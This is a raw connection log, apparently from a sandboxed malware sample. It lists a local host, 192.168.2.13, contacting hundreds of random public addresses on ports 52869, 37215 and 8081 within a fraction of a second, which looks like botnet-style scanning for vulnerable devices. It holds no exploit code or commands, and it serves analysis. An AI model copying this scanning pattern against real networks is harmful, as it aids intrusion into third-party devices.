Jul 20, 2024 23:05:42.476244926 CEST	43695	52869	192.168.2.13	133.65.135.99
Jul 20, 2024 23:05:42.476244926 CEST	43695	52869	192.168.2.13	25.254.122.214
Jul 20, 2024 23:05:42.476244926 CEST	43695	52869	192.168.2.13	219.37.148.4
Jul 20, 2024 23:05:42.476244926 CEST	43695	52869	192.168.2.13	181.102.180.63
Jul 20, 2024 23:05:42.476244926 CEST	43695	52869	192.168.2.13	160.130.22.25
Jul 20, 2024 23:05:42.476246119 CEST	43695	52869	192.168.2.13	60.128.151.169
Jul 20, 2024 23:05:42.476246119 CEST	43695	52869	192.168.2.13	185.66.43.17
Jul 20, 2024 23:05:42.476572990 CEST	43695	52869	192.168.2.13	189.247.81.28
Jul 20, 2024 23:05:42.476572990 CEST	43695	52869	192.168.2.13	1.217.0.185
Jul 20, 2024 23:05:42.476572990 CEST	43695	52869	192.168.2.13	148.222.94.245
Jul 20, 2024 23:05:42.476572990 CEST	43695	52869	192.168.2.13	189.113.72.139
Jul 20, 2024 23:05:42.476572990 CEST	43695	52869	192.168.2.13	63.73.217.114
Jul 20, 2024 23:05:42.476572990 CEST	43695	52869	192.168.2.13	155.76.196.132
Jul 20, 2024 23:05:42.476572990 CEST	43695	52869	192.168.2.13	179.155.201.69
Jul 20, 2024 23:05:42.476572990 CEST	43695	52869	192.168.2.13	31.151.34.3
Jul 20, 2024 23:05:42.476891994 CEST	43695	52869	192.168.2.13	169.205.145.132
Jul 20, 2024 23:05:42.476892948 CEST	43695	52869	192.168.2.13	175.173.145.122
Jul 20, 2024 23:05:42.476892948 CEST	43695	52869	192.168.2.13	119.179.174.4
Jul 20, 2024 23:05:42.476892948 CEST	43695	52869	192.168.2.13	201.15.223.196
Jul 20, 2024 23:05:42.476892948 CEST	43695	52869	192.168.2.13	87.248.86.246
Jul 20, 2024 23:05:42.476892948 CEST	43695	52869	192.168.2.13	20.23.243.102
Jul 20, 2024 23:05:42.476892948 CEST	43695	52869	192.168.2.13	66.201.161.132
Jul 20, 2024 23:05:42.476892948 CEST	43695	52869	192.168.2.13	155.212.15.122
Jul 20, 2024 23:05:42.477217913 CEST	43695	52869	192.168.2.13	130.133.78.229
Jul 20, 2024 23:05:42.477217913 CEST	43695	52869	192.168.2.13	40.53.225.75
Jul 20, 2024 23:05:42.477217913 CEST	43695	52869	192.168.2.13	32.89.148.88
Jul 20, 2024 23:05:42.477217913 CEST	43695	52869	192.168.2.13	132.245.156.197
Jul 20, 2024 23:05:42.477217913 CEST	43695	52869	192.168.2.13	161.112.8.36
Jul 20, 2024 23:05:42.477217913 CEST	43695	52869	192.168.2.13	98.151.155.0
Jul 20, 2024 23:05:42.477217913 CEST	43695	52869	192.168.2.13	187.32.168.161
Jul 20, 2024 23:05:42.477219105 CEST	43695	52869	192.168.2.13	157.163.35.157
Jul 20, 2024 23:05:42.477545023 CEST	43695	52869	192.168.2.13	37.30.22.16
Jul 20, 2024 23:05:42.477545023 CEST	43695	52869	192.168.2.13	221.135.248.99
Jul 20, 2024 23:05:42.477545023 CEST	43695	52869	192.168.2.13	191.187.186.238
Jul 20, 2024 23:05:42.477545023 CEST	43695	52869	192.168.2.13	73.128.253.128
Jul 20, 2024 23:05:42.477545023 CEST	43695	52869	192.168.2.13	80.157.5.176
Jul 20, 2024 23:05:42.477545023 CEST	43695	52869	192.168.2.13	90.219.141.110
Jul 20, 2024 23:05:42.477545023 CEST	43695	52869	192.168.2.13	34.200.92.88
Jul 20, 2024 23:05:42.480093002 CEST	44719	37215	192.168.2.13	41.128.224.64
Jul 20, 2024 23:05:42.480093002 CEST	44719	37215	192.168.2.13	41.232.17.134
Jul 20, 2024 23:05:42.480093002 CEST	44719	37215	192.168.2.13	184.173.82.107
Jul 20, 2024 23:05:42.480093002 CEST	44719	37215	192.168.2.13	157.255.143.206
Jul 20, 2024 23:05:42.480093002 CEST	44719	37215	192.168.2.13	41.89.33.105
Jul 20, 2024 23:05:42.480093002 CEST	44719	37215	192.168.2.13	171.248.172.64
Jul 20, 2024 23:05:42.480093002 CEST	44719	37215	192.168.2.13	197.43.97.58
Jul 20, 2024 23:05:42.480093002 CEST	44719	37215	192.168.2.13	157.23.155.0
Jul 20, 2024 23:05:42.480444908 CEST	44719	37215	192.168.2.13	41.206.98.162
Jul 20, 2024 23:05:42.480444908 CEST	44719	37215	192.168.2.13	197.31.167.242
Jul 20, 2024 23:05:42.480444908 CEST	44719	37215	192.168.2.13	92.155.50.98
Jul 20, 2024 23:05:42.480444908 CEST	44719	37215	192.168.2.13	197.107.136.142
Jul 20, 2024 23:05:42.480444908 CEST	44719	37215	192.168.2.13	41.224.103.104
Jul 20, 2024 23:05:42.480444908 CEST	44719	37215	192.168.2.13	157.2.1.205
Jul 20, 2024 23:05:42.480444908 CEST	44719	37215	192.168.2.13	41.142.74.166
Jul 20, 2024 23:05:42.480444908 CEST	44719	37215	192.168.2.13	197.140.192.70
Jul 20, 2024 23:05:42.480791092 CEST	44719	37215	192.168.2.13	157.130.164.249
Jul 20, 2024 23:05:42.480791092 CEST	44719	37215	192.168.2.13	173.17.184.249
Jul 20, 2024 23:05:42.480791092 CEST	44719	37215	192.168.2.13	157.6.50.167
Jul 20, 2024 23:05:42.480791092 CEST	44719	37215	192.168.2.13	157.30.139.226
Jul 20, 2024 23:05:42.480791092 CEST	44719	37215	192.168.2.13	157.97.8.66
Jul 20, 2024 23:05:42.480791092 CEST	44719	37215	192.168.2.13	157.170.103.18
Jul 20, 2024 23:05:42.480791092 CEST	44719	37215	192.168.2.13	41.214.20.184
Jul 20, 2024 23:05:42.480791092 CEST	44719	37215	192.168.2.13	197.178.77.153
Jul 20, 2024 23:05:42.481151104 CEST	44719	37215	192.168.2.13	157.46.233.240
Jul 20, 2024 23:05:42.481151104 CEST	44719	37215	192.168.2.13	186.185.77.67
Jul 20, 2024 23:05:42.481151104 CEST	44719	37215	192.168.2.13	64.190.69.131
Jul 20, 2024 23:05:42.481151104 CEST	44719	37215	192.168.2.13	189.109.206.172
Jul 20, 2024 23:05:42.481151104 CEST	44719	37215	192.168.2.13	97.220.1.144
Jul 20, 2024 23:05:42.481151104 CEST	44719	37215	192.168.2.13	197.168.78.30
Jul 20, 2024 23:05:42.481151104 CEST	44719	37215	192.168.2.13	197.2.123.210
Jul 20, 2024 23:05:42.481151104 CEST	43439	8081	192.168.2.13	158.89.74.26
Jul 20, 2024 23:05:42.481760979 CEST	44719	37215	192.168.2.13	41.32.97.41
Jul 20, 2024 23:05:42.481760979 CEST	44719	37215	192.168.2.13	41.84.163.44
Jul 20, 2024 23:05:42.481760979 CEST	44719	37215	192.168.2.13	157.61.169.149
Jul 20, 2024 23:05:42.481760979 CEST	44719	37215	192.168.2.13	157.107.34.151
Jul 20, 2024 23:05:42.481760979 CEST	44719	37215	192.168.2.13	41.143.95.143
Jul 20, 2024 23:05:42.481760979 CEST	44719	37215	192.168.2.13	157.48.130.13
Jul 20, 2024 23:05:42.481760979 CEST	44719	37215	192.168.2.13	218.110.31.50
Jul 20, 2024 23:05:42.481760979 CEST	44719	37215	192.168.2.13	140.104.254.186
Jul 20, 2024 23:05:42.481854916 CEST	43439	8081	192.168.2.13	198.7.187.163
Jul 20, 2024 23:05:42.481854916 CEST	43439	8081	192.168.2.13	13.184.93.228
Jul 20, 2024 23:05:42.481854916 CEST	43439	8081	192.168.2.13	159.225.34.140
Jul 20, 2024 23:05:42.481854916 CEST	43439	8081	192.168.2.13	199.120.4.96
Jul 20, 2024 23:05:42.481854916 CEST	43439	8081	192.168.2.13	180.253.244.144
Jul 20, 2024 23:05:42.481854916 CEST	43439	8081	192.168.2.13	193.221.242.136
Jul 20, 2024 23:05:42.481854916 CEST	43439	8081	192.168.2.13	223.83.115.203
Jul 20, 2024 23:05:42.481854916 CEST	43439	8081	192.168.2.13	154.100.85.220
Jul 20, 2024 23:05:42.483324051 CEST	44719	37215	192.168.2.13	157.49.92.180
Jul 20, 2024 23:05:42.483324051 CEST	44719	37215	192.168.2.13	41.12.140.174
Jul 20, 2024 23:05:42.483324051 CEST	44719	37215	192.168.2.13	197.235.131.3
Jul 20, 2024 23:05:42.483325005 CEST	44719	37215	192.168.2.13	197.216.62.19
Jul 20, 2024 23:05:42.483325005 CEST	44719	37215	192.168.2.13	37.69.240.238
Jul 20, 2024 23:05:42.483325005 CEST	44719	37215	192.168.2.13	32.255.184.167
Jul 20, 2024 23:05:42.483325005 CEST	44719	37215	192.168.2.13	197.15.17.31
Jul 20, 2024 23:05:42.483325005 CEST	44719	37215	192.168.2.13	157.154.38.60
Jul 20, 2024 23:05:42.483441114 CEST	43439	8081	192.168.2.13	115.16.203.134
Jul 20, 2024 23:05:42.483441114 CEST	43439	8081	192.168.2.13	222.118.182.128
Jul 20, 2024 23:05:42.483441114 CEST	43439	8081	192.168.2.13	97.36.86.247
Jul 20, 2024 23:05:42.483441114 CEST	43439	8081	192.168.2.13	185.112.52.81
Jul 20, 2024 23:05:42.483441114 CEST	43695	52869	192.168.2.13	131.25.90.191
Jul 20, 2024 23:05:42.483441114 CEST	43695	52869	192.168.2.13	147.234.248.111
Jul 20, 2024 23:05:42.483441114 CEST	43695	52869	192.168.2.13	132.196.14.218
Jul 20, 2024 23:05:42.483441114 CEST	43695	52869	192.168.2.13	104.209.167.72
Jul 20, 2024 23:05:42.484955072 CEST	44719	37215	192.168.2.13	126.93.78.12
Jul 20, 2024 23:05:42.484955072 CEST	44719	37215	192.168.2.13	201.172.56.49
Jul 20, 2024 23:05:42.484955072 CEST	44719	37215	192.168.2.13	157.71.169.209
Jul 20, 2024 23:05:42.484955072 CEST	44719	37215	192.168.2.13	177.108.93.186
Jul 20, 2024 23:05:42.484955072 CEST	44719	37215	192.168.2.13	191.20.4.86
Jul 20, 2024 23:05:42.484956026 CEST	44719	37215	192.168.2.13	157.8.71.123
Jul 20, 2024 23:05:42.484956026 CEST	44719	37215	192.168.2.13	197.154.101.78
Jul 20, 2024 23:05:42.485052109 CEST	43695	52869	192.168.2.13	77.33.109.42
Jul 20, 2024 23:05:42.485052109 CEST	43695	52869	192.168.2.13	114.201.32.61
Jul 20, 2024 23:05:42.485052109 CEST	43695	52869	192.168.2.13	177.198.190.22
Jul 20, 2024 23:05:42.485052109 CEST	43695	52869	192.168.2.13	149.99.135.221
Jul 20, 2024 23:05:42.485052109 CEST	43695	52869	192.168.2.13	131.168.94.2
Jul 20, 2024 23:05:42.485052109 CEST	43695	52869	192.168.2.13	8.3.158.203
Jul 20, 2024 23:05:42.485052109 CEST	43695	52869	192.168.2.13	97.165.32.192
Jul 20, 2024 23:05:42.485052109 CEST	43695	52869	192.168.2.13	211.34.140.164
Jul 20, 2024 23:05:42.485626936 CEST	44719	37215	192.168.2.13	157.0.73.248
Jul 20, 2024 23:05:42.485626936 CEST	44719	37215	192.168.2.13	157.49.106.156
Jul 20, 2024 23:05:42.485626936 CEST	44719	37215	192.168.2.13	197.113.127.109
Jul 20, 2024 23:05:42.486413956 CEST	44719	37215	192.168.2.13	19.35.165.17
Jul 20, 2024 23:05:42.486413956 CEST	44719	37215	192.168.2.13	197.28.13.98
Jul 20, 2024 23:05:42.486413956 CEST	43439	8081	192.168.2.13	88.130.134.141
Jul 20, 2024 23:05:42.486413956 CEST	43439	8081	192.168.2.13	209.88.208.223
Jul 20, 2024 23:05:42.486587048 CEST	44719	37215	192.168.2.13	197.19.175.111
Jul 20, 2024 23:05:42.486587048 CEST	44719	37215	192.168.2.13	116.177.160.218
Jul 20, 2024 23:05:42.486587048 CEST	44719	37215	192.168.2.13	57.82.29.20
Jul 20, 2024 23:05:42.486587048 CEST	44719	37215	192.168.2.13	157.33.160.150
Jul 20, 2024 23:05:42.486587048 CEST	44719	37215	192.168.2.13	157.16.72.118
Jul 20, 2024 23:05:42.486728907 CEST	43695	52869	192.168.2.13	86.104.79.60
Jul 20, 2024 23:05:42.486728907 CEST	43695	52869	192.168.2.13	182.11.68.244
Jul 20, 2024 23:05:42.486728907 CEST	43695	52869	192.168.2.13	193.131.171.67
Jul 20, 2024 23:05:42.486728907 CEST	43695	52869	192.168.2.13	79.231.155.222
Jul 20, 2024 23:05:42.486728907 CEST	43695	52869	192.168.2.13	91.74.24.76
Jul 20, 2024 23:05:42.486728907 CEST	43695	52869	192.168.2.13	68.32.243.101
Jul 20, 2024 23:05:42.486728907 CEST	43695	52869	192.168.2.13	221.20.233.34
Jul 20, 2024 23:05:42.486728907 CEST	43695	52869	192.168.2.13	198.15.100.113
Jul 20, 2024 23:05:42.487621069 CEST	43695	52869	192.168.2.13	217.209.199.203
Jul 20, 2024 23:05:42.487621069 CEST	43695	52869	192.168.2.13	205.2.21.251
Jul 20, 2024 23:05:42.487621069 CEST	43695	52869	192.168.2.13	78.5.213.247
Jul 20, 2024 23:05:42.487621069 CEST	43695	52869	192.168.2.13	108.162.80.93
Jul 20, 2024 23:05:42.487621069 CEST	43695	52869	192.168.2.13	36.90.25.192
Jul 20, 2024 23:05:42.487621069 CEST	43695	52869	192.168.2.13	14.20.249.248
Jul 20, 2024 23:05:42.487621069 CEST	43695	52869	192.168.2.13	23.42.144.28
Jul 20, 2024 23:05:42.487621069 CEST	43695	52869	192.168.2.13	1.180.201.49
Jul 20, 2024 23:05:42.487715006 CEST	43439	8081	192.168.2.13	112.136.14.112
Jul 20, 2024 23:05:42.487715006 CEST	43439	8081	192.168.2.13	121.214.189.71
Jul 20, 2024 23:05:42.487715006 CEST	43439	8081	192.168.2.13	107.118.62.89
Jul 20, 2024 23:05:42.487715006 CEST	43439	8081	192.168.2.13	133.117.5.135
Jul 20, 2024 23:05:42.487715006 CEST	43439	8081	192.168.2.13	97.164.13.210
Jul 20, 2024 23:05:42.487715006 CEST	43439	8081	192.168.2.13	174.201.0.144
Jul 20, 2024 23:05:42.487715006 CEST	43439	8081	192.168.2.13	165.155.156.73
Jul 20, 2024 23:05:42.487715006 CEST	43439	8081	192.168.2.13	43.107.9.138
Jul 20, 2024 23:05:42.489073992 CEST	43695	52869	192.168.2.13	23.144.175.205
Jul 20, 2024 23:05:42.489073992 CEST	43695	52869	192.168.2.13	223.239.95.215
Jul 20, 2024 23:05:42.489074945 CEST	43695	52869	192.168.2.13	206.115.178.76
Jul 20, 2024 23:05:42.489074945 CEST	43695	52869	192.168.2.13	155.125.167.15
Jul 20, 2024 23:05:42.489074945 CEST	43695	52869	192.168.2.13	121.218.237.133
Jul 20, 2024 23:05:42.489074945 CEST	43695	52869	192.168.2.13	82.86.14.146
Jul 20, 2024 23:05:42.489074945 CEST	43695	52869	192.168.2.13	137.30.181.140
Jul 20, 2024 23:05:42.489074945 CEST	43695	52869	192.168.2.13	223.254.107.53
Jul 20, 2024 23:05:42.489419937 CEST	43439	8081	192.168.2.13	163.185.209.64
Jul 20, 2024 23:05:42.489420891 CEST	43439	8081	192.168.2.13	14.230.59.136
Jul 20, 2024 23:05:42.489420891 CEST	43439	8081	192.168.2.13	130.69.8.99
Jul 20, 2024 23:05:42.489420891 CEST	43439	8081	192.168.2.13	49.213.182.90
Jul 20, 2024 23:05:42.489420891 CEST	43439	8081	192.168.2.13	123.139.46.247
Jul 20, 2024 23:05:42.489420891 CEST	43439	8081	192.168.2.13	158.1.91.162
Jul 20, 2024 23:05:42.489420891 CEST	43439	8081	192.168.2.13	171.65.9.38
Jul 20, 2024 23:05:42.489420891 CEST	43439	8081	192.168.2.13	150.241.45.88
Jul 20, 2024 23:05:42.490598917 CEST	44719	37215	192.168.2.13	157.137.95.250
Jul 20, 2024 23:05:42.490598917 CEST	44719	37215	192.168.2.13	167.108.141.93
Jul 20, 2024 23:05:42.490598917 CEST	44719	37215	192.168.2.13	9.208.243.43
Jul 20, 2024 23:05:42.490598917 CEST	44719	37215	192.168.2.13	157.130.9.228
Jul 20, 2024 23:05:42.490598917 CEST	44719	37215	192.168.2.13	83.253.161.255
Jul 20, 2024 23:05:42.490598917 CEST	44719	37215	192.168.2.13	53.135.20.181
Jul 20, 2024 23:05:42.491048098 CEST	43695	52869	192.168.2.13	158.192.206.74
Jul 20, 2024 23:05:42.491048098 CEST	43695	52869	192.168.2.13	34.193.46.111
Jul 20, 2024 23:05:42.491048098 CEST	43695	52869	192.168.2.13	1.65.186.95
Jul 20, 2024 23:05:42.491048098 CEST	43695	52869	192.168.2.13	151.133.83.122
Jul 20, 2024 23:05:42.491048098 CEST	43695	52869	192.168.2.13	183.115.60.214
Jul 20, 2024 23:05:42.491048098 CEST	43695	52869	192.168.2.13	48.76.62.132
Jul 20, 2024 23:05:42.491048098 CEST	43695	52869	192.168.2.13	220.74.159.115
Jul 20, 2024 23:05:42.491048098 CEST	43695	52869	192.168.2.13	126.190.17.177
Jul 20, 2024 23:05:42.491117001 CEST	44719	37215	192.168.2.13	41.209.58.254
Jul 20, 2024 23:05:42.491117001 CEST	44719	37215	192.168.2.13	197.95.153.232
Jul 20, 2024 23:05:42.491117001 CEST	44719	37215	192.168.2.13	197.162.90.191
Jul 20, 2024 23:05:42.491117001 CEST	44719	37215	192.168.2.13	144.97.138.8
Jul 20, 2024 23:05:42.491117001 CEST	44719	37215	192.168.2.13	197.160.52.143
Jul 20, 2024 23:05:42.491117001 CEST	44719	37215	192.168.2.13	41.246.230.147
Jul 20, 2024 23:05:42.491117001 CEST	44719	37215	192.168.2.13	18.144.3.7
Jul 20, 2024 23:05:42.491117001 CEST	44719	37215	192.168.2.13	157.155.11.108
Jul 20, 2024 23:05:42.491862059 CEST	43439	8081	192.168.2.13	134.231.248.130
Jul 20, 2024 23:05:42.491862059 CEST	43695	52869	192.168.2.13	129.209.175.108
Jul 20, 2024 23:05:42.491862059 CEST	43695	52869	192.168.2.13	106.230.174.14
Jul 20, 2024 23:05:42.491862059 CEST	43695	52869	192.168.2.13	76.100.224.114
Jul 20, 2024 23:05:42.491863012 CEST	43695	52869	192.168.2.13	83.89.210.104
Jul 20, 2024 23:05:42.491863012 CEST	43695	52869	192.168.2.13	53.9.42.135
Jul 20, 2024 23:05:42.491863012 CEST	43695	52869	192.168.2.13	101.55.215.235
Jul 20, 2024 23:05:42.491863012 CEST	43695	52869	192.168.2.13	114.227.178.233
Jul 20, 2024 23:05:42.492463112 CEST	44719	37215	192.168.2.13	216.6.157.184
Jul 20, 2024 23:05:42.492463112 CEST	44719	37215	192.168.2.13	157.139.184.79
Jul 20, 2024 23:05:42.492463112 CEST	44719	37215	192.168.2.13	157.186.143.186
Jul 20, 2024 23:05:42.492463112 CEST	44719	37215	192.168.2.13	88.120.138.89
Jul 20, 2024 23:05:42.493617058 CEST	43695	52869	192.168.2.13	202.111.130.96
Jul 20, 2024 23:05:42.493617058 CEST	43695	52869	192.168.2.13	91.227.128.52
Jul 20, 2024 23:05:42.493617058 CEST	43695	52869	192.168.2.13	124.148.203.199
Jul 20, 2024 23:05:42.493617058 CEST	43695	52869	192.168.2.13	92.254.182.60
Jul 20, 2024 23:05:42.493617058 CEST	43695	52869	192.168.2.13	202.188.197.110
Jul 20, 2024 23:05:42.493617058 CEST	43695	52869	192.168.2.13	203.193.164.250
Jul 20, 2024 23:05:42.493617058 CEST	43695	52869	192.168.2.13	159.211.0.254
Jul 20, 2024 23:05:42.493617058 CEST	43695	52869	192.168.2.13	159.114.53.103
Jul 20, 2024 23:05:42.494313955 CEST	44719	37215	192.168.2.13	41.100.193.254
Jul 20, 2024 23:05:42.494313955 CEST	44719	37215	192.168.2.13	157.155.244.83
Jul 20, 2024 23:05:42.494313955 CEST	44719	37215	192.168.2.13	41.88.182.175
Jul 20, 2024 23:05:42.494313955 CEST	44719	37215	192.168.2.13	197.177.152.51
Jul 20, 2024 23:05:42.494313955 CEST	44719	37215	192.168.2.13	157.87.54.125
Jul 20, 2024 23:05:42.494313955 CEST	44719	37215	192.168.2.13	157.248.186.191
Jul 20, 2024 23:05:42.494313955 CEST	44719	37215	192.168.2.13	128.45.67.248
Jul 20, 2024 23:05:42.494313955 CEST	44719	37215	192.168.2.13	157.205.95.182
Jul 20, 2024 23:05:42.494389057 CEST	44719	37215	192.168.2.13	41.205.1.188
Jul 20, 2024 23:05:42.494389057 CEST	44719	37215	192.168.2.13	157.51.241.77
Jul 20, 2024 23:05:42.494389057 CEST	44719	37215	192.168.2.13	157.178.55.13
Jul 20, 2024 23:05:42.494389057 CEST	44719	37215	192.168.2.13	157.64.162.104
Jul 20, 2024 23:05:42.494389057 CEST	44719	37215	192.168.2.13	175.77.210.109
Jul 20, 2024 23:05:42.494389057 CEST	44719	37215	192.168.2.13	197.0.50.210
Jul 20, 2024 23:05:42.494389057 CEST	44719	37215	192.168.2.13	197.240.248.177
Jul 20, 2024 23:05:42.494389057 CEST	44719	37215	192.168.2.13	57.99.253.78
Jul 20, 2024 23:05:42.495425940 CEST	43695	52869	192.168.2.13	193.129.21.5
Jul 20, 2024 23:05:42.495425940 CEST	43695	52869	192.168.2.13	209.21.206.85
Jul 20, 2024 23:05:42.495425940 CEST	43695	52869	192.168.2.13	176.230.150.16
Jul 20, 2024 23:05:42.495425940 CEST	43695	52869	192.168.2.13	156.179.158.121
Jul 20, 2024 23:05:42.495425940 CEST	43695	52869	192.168.2.13	95.39.133.169
Jul 20, 2024 23:05:42.495425940 CEST	43695	52869	192.168.2.13	151.175.183.139
Jul 20, 2024 23:05:42.495425940 CEST	43695	52869	192.168.2.13	34.173.177.129
Jul 20, 2024 23:05:42.495425940 CEST	43695	52869	192.168.2.13	59.207.57.16
Jul 20, 2024 23:05:42.495958090 CEST	44719	37215	192.168.2.13	99.113.117.38
Jul 20, 2024 23:05:42.495958090 CEST	44719	37215	192.168.2.13	197.227.224.34
Jul 20, 2024 23:05:42.495958090 CEST	44719	37215	192.168.2.13	197.217.239.32
Jul 20, 2024 23:05:42.495958090 CEST	44719	37215	192.168.2.13	157.161.109.71
Jul 20, 2024 23:05:42.495958090 CEST	44719	37215	192.168.2.13	157.10.180.45
Jul 20, 2024 23:05:42.495958090 CEST	44719	37215	192.168.2.13	41.255.183.29
Jul 20, 2024 23:05:42.495958090 CEST	44719	37215	192.168.2.13	157.227.112.107
Jul 20, 2024 23:05:42.495958090 CEST	44719	37215	192.168.2.13	41.122.41.201
Jul 20, 2024 23:05:42.496104002 CEST	44719	37215	192.168.2.13	197.135.101.129
Jul 20, 2024 23:05:42.496104002 CEST	44719	37215	192.168.2.13	41.155.39.147
Jul 20, 2024 23:05:42.496104002 CEST	44719	37215	192.168.2.13	157.180.186.236
Jul 20, 2024 23:05:42.496104002 CEST	44719	37215	192.168.2.13	197.230.102.6
Jul 20, 2024 23:05:42.496104002 CEST	44719	37215	192.168.2.13	197.35.42.213
Jul 20, 2024 23:05:42.497571945 CEST	43695	52869	192.168.2.13	114.193.115.80
Jul 20, 2024 23:05:42.497571945 CEST	43695	52869	192.168.2.13	166.100.244.149
Jul 20, 2024 23:05:42.497571945 CEST	43695	52869	192.168.2.13	65.177.254.39
Jul 20, 2024 23:05:42.497571945 CEST	43695	52869	192.168.2.13	219.92.122.239
Jul 20, 2024 23:05:42.497571945 CEST	43695	52869	192.168.2.13	93.52.85.92
Jul 20, 2024 23:05:42.497571945 CEST	43695	52869	192.168.2.13	72.238.59.114
Jul 20, 2024 23:05:42.497571945 CEST	43695	52869	192.168.2.13	70.244.218.60
Jul 20, 2024 23:05:42.497571945 CEST	43695	52869	192.168.2.13	167.39.179.157
Jul 20, 2024 23:05:42.498627901 CEST	44719	37215	192.168.2.13	41.2.14.96
Jul 20, 2024 23:05:42.498627901 CEST	44719	37215	192.168.2.13	157.210.220.224
Jul 20, 2024 23:05:42.498627901 CEST	44719	37215	192.168.2.13	197.152.54.186
Jul 20, 2024 23:05:42.498629093 CEST	44719	37215	192.168.2.13	202.148.15.48
Jul 20, 2024 23:05:42.498629093 CEST	44719	37215	192.168.2.13	41.83.219.74
Jul 20, 2024 23:05:42.498629093 CEST	44719	37215	192.168.2.13	157.156.112.9
Jul 20, 2024 23:05:42.498629093 CEST	44719	37215	192.168.2.13	41.119.35.52
Jul 20, 2024 23:05:42.498629093 CEST	44719	37215	192.168.2.13	197.8.190.246
Jul 20, 2024 23:05:42.498723030 CEST	44719	37215	192.168.2.13	157.16.163.122
Jul 20, 2024 23:05:42.498723030 CEST	44719	37215	192.168.2.13	197.188.242.230
Jul 20, 2024 23:05:42.498723030 CEST	44719	37215	192.168.2.13	183.59.85.224
Jul 20, 2024 23:05:42.498723030 CEST	44719	37215	192.168.2.13	101.157.144.82
Jul 20, 2024 23:05:42.498723030 CEST	44719	37215	192.168.2.13	197.85.11.121
Jul 20, 2024 23:05:42.498723030 CEST	44719	37215	192.168.2.13	41.202.143.185
Jul 20, 2024 23:05:42.498723030 CEST	44719	37215	192.168.2.13	157.168.158.223
Jul 20, 2024 23:05:42.498723030 CEST	44719	37215	192.168.2.13	123.68.44.135
Jul 20, 2024 23:05:42.499416113 CEST	43695	52869	192.168.2.13	196.38.58.45
Jul 20, 2024 23:05:42.499416113 CEST	43695	52869	192.168.2.13	99.163.205.56
Jul 20, 2024 23:05:42.499416113 CEST	43695	52869	192.168.2.13	83.228.8.41
Jul 20, 2024 23:05:42.499416113 CEST	43695	52869	192.168.2.13	168.247.135.55
Jul 20, 2024 23:05:42.499416113 CEST	43695	52869	192.168.2.13	79.199.166.240
Jul 20, 2024 23:05:42.499416113 CEST	43695	52869	192.168.2.13	19.64.194.8
Jul 20, 2024 23:05:42.499416113 CEST	43695	52869	192.168.2.13	66.26.133.125
Jul 20, 2024 23:05:42.499416113 CEST	43695	52869	192.168.2.13	187.177.170.77
Jul 20, 2024 23:05:42.500112057 CEST	44719	37215	192.168.2.13	157.153.185.166
Jul 20, 2024 23:05:42.500112057 CEST	44719	37215	192.168.2.13	157.156.21.16
Jul 20, 2024 23:05:42.500112057 CEST	44719	37215	192.168.2.13	157.83.126.26
Jul 20, 2024 23:05:42.500112057 CEST	44719	37215	192.168.2.13	41.133.88.156
Jul 20, 2024 23:05:42.500112057 CEST	44719	37215	192.168.2.13	64.165.194.79
Jul 20, 2024 23:05:42.500112057 CEST	44719	37215	192.168.2.13	142.187.163.247
Jul 20, 2024 23:05:42.500112057 CEST	44719	37215	192.168.2.13	41.54.115.146
Jul 20, 2024 23:05:42.500112057 CEST	44719	37215	192.168.2.13	197.85.243.208
Jul 20, 2024 23:05:42.500797987 CEST	44719	37215	192.168.2.13	58.164.53.117
Jul 20, 2024 23:05:42.500797987 CEST	44719	37215	192.168.2.13	157.158.243.188
Jul 20, 2024 23:05:42.500797987 CEST	44719	37215	192.168.2.13	197.141.236.144
Jul 20, 2024 23:05:42.500797987 CEST	44719	37215	192.168.2.13	157.221.151.71
Jul 20, 2024 23:05:42.500797987 CEST	44719	37215	192.168.2.13	41.158.169.10
Jul 20, 2024 23:05:42.500797987 CEST	44719	37215	192.168.2.13	41.93.221.27
Jul 20, 2024 23:05:42.500797987 CEST	44719	37215	192.168.2.13	41.97.229.172
Jul 20, 2024 23:05:42.500797987 CEST	44719	37215	192.168.2.13	41.133.190.153
Jul 20, 2024 23:05:42.502676964 CEST	43695	52869	192.168.2.13	207.157.145.187
Jul 20, 2024 23:05:42.502676964 CEST	43695	52869	192.168.2.13	203.230.53.139
Jul 20, 2024 23:05:42.502676964 CEST	43695	52869	192.168.2.13	27.248.247.21
Jul 20, 2024 23:05:42.502676964 CEST	43695	52869	192.168.2.13	217.51.43.48
Jul 20, 2024 23:05:42.502676964 CEST	43695	52869	192.168.2.13	216.114.52.191
Jul 20, 2024 23:05:42.502676964 CEST	43695	52869	192.168.2.13	89.96.171.25
Jul 20, 2024 23:05:42.502676964 CEST	43695	52869	192.168.2.13	100.246.46.219
Jul 20, 2024 23:05:42.502676964 CEST	43695	52869	192.168.2.13	96.132.28.217
Jul 20, 2024 23:05:42.503089905 CEST	44719	37215	192.168.2.13	197.49.114.79
Jul 20, 2024 23:05:42.503089905 CEST	44719	37215	192.168.2.13	157.5.246.151
Jul 20, 2024 23:05:42.503089905 CEST	44719	37215	192.168.2.13	157.36.183.86
Jul 20, 2024 23:05:42.503089905 CEST	44719	37215	192.168.2.13	41.127.172.128
Jul 20, 2024 23:05:42.503089905 CEST	44719	37215	192.168.2.13	145.130.201.231
Jul 20, 2024 23:05:42.503089905 CEST	44719	37215	192.168.2.13	157.7.30.60
Jul 20, 2024 23:05:42.503089905 CEST	44719	37215	192.168.2.13	85.169.166.133
Jul 20, 2024 23:05:42.503089905 CEST	44719	37215	192.168.2.13	41.216.26.234
Jul 20, 2024 23:05:42.503690004 CEST	44719	37215	192.168.2.13	41.1.78.202
Jul 20, 2024 23:05:42.503690004 CEST	44719	37215	192.168.2.13	41.58.247.186
Jul 20, 2024 23:05:42.503690004 CEST	44719	37215	192.168.2.13	41.226.127.96
Jul 20, 2024 23:05:42.503690958 CEST	44719	37215	192.168.2.13	151.55.28.147
Jul 20, 2024 23:05:42.503690958 CEST	44719	37215	192.168.2.13	157.79.30.96
Jul 20, 2024 23:05:42.503690958 CEST	44719	37215	192.168.2.13	66.1.65.160
Jul 20, 2024 23:05:42.503690958 CEST	44719	37215	192.168.2.13	157.185.228.153
Jul 20, 2024 23:05:42.503690958 CEST	44719	37215	192.168.2.13	157.172.160.218
Jul 20, 2024 23:05:42.503865004 CEST	44719	37215	192.168.2.13	41.205.147.115
Jul 20, 2024 23:05:42.503865004 CEST	44719	37215	192.168.2.13	157.15.207.151
Jul 20, 2024 23:05:42.503865004 CEST	44719	37215	192.168.2.13	41.171.10.129
Jul 20, 2024 23:05:42.503865004 CEST	44719	37215	192.168.2.13	157.59.247.98
Jul 20, 2024 23:05:42.503865004 CEST	44719	37215	192.168.2.13	157.1.195.70
Jul 20, 2024 23:05:42.503865004 CEST	44719	37215	192.168.2.13	41.80.94.82
